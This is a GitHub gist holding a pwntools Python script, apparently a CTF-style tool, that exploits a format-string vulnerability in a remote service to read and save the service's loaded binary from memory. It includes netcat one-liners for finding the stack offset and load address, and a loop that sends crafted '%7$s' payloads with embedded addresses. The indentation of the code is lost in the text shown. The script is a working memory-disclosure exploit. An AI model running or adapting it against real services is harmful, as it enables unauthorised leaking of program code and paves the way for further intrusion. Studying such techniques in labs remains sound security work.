Skip to content

Instantly share code, notes, and snippets.

@arget13
Created March 29, 2020 21:03
Show Gist options
  • Save arget13/c9925f2f404b633f05df41e6d0285c89 to your computer and use it in GitHub Desktop.
Save arget13/c9925f2f404b633f05df41e6d0285c89 to your computer and use it in GitHub Desktop.
Download the binary loaded in memory from a remote process using a format strings vulnerability
from pwn import *
# CONFIG #
## Basic stuff
rhost = "localhost" # Remote host
rport = 1234 # Remote port
fname = "a.bin" # Output filename
## Address where the binary is loaded
# $ for i in `seq 1000`; do (echo $i; echo "%"$i"\$p" | nc localhost 1234) | grep -B2 804; done
# 19
# [...]
# 0x8049253 # Leaked address from the .text section
# knowing this, we can deduce that the binary is loaded in 0x8048000 [and .text in 0x08049000]
base_addr = 0x8048000
size = 16318 # how many bytes to try to read (default: 16KiB)
## Offset in words of our fruit in the stack frame of printf
# $ for i in `seq 1000`; do (echo $i; echo "AAAA%"$i"\$p" | nc localhost 1234) | grep 4141 -B1; done
# 7
# AAAA0x41414141
# [ctrl-c]
# For this case, if we input the program with AAAA%7$p the output'll contain AAAA0x41414141
# ^ This 7 is our offset
off = 7
off = bytes(str(off), "utf8")
## Messages from the remote program that we want to remove from the received data
# Text before the vulnerable printf
junklen1 = len("Voy a meter un poco de basura\nmás basura\n...\n") + 5
# Text after the vulnerable printf
junklen2 = len("\n...\nOtro poco de basura por aquí\ny otro poco por allá\n") + 2
context.log_level = 'error'
# END CONFIG #
f = open(fname, "wb")
f.write(b'\x7f') # the first byte (which we can't read) we already know it
addr = base_addr + 1
stop_addr = base_addr + size
print("Trying to read from address " + hex(base_addr) + " to " + hex(stop_addr))
while addr < stop_addr:
if addr & 0xff == 0x00: # we can't read this position
f.write(b"\x00") # we assume a null byte
print(hex(addr) + "\tCan't read, assuming nullbyte")
addr += 1
payload = addr.to_bytes(4, "little") + b'%' + off + b'$s'
log.info("Payload:\t " + ''.join('{:02x}'.format(c) for c in payload))
r = remote(rhost, rport)
r.sendline(payload)
r.recv(junklen1) # clean reception buffer, first part, after the leaked data
buf = r.recv(1024)
buf = buf[:-junklen2] # clean trailing junk
print(hex(addr) + "\t" + ''.join('{:02x}'.format(c) for c in (buf + b'\x00')))
f.write(buf + b'\x00')
addr += len(buf) + 1
r.close()
f.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment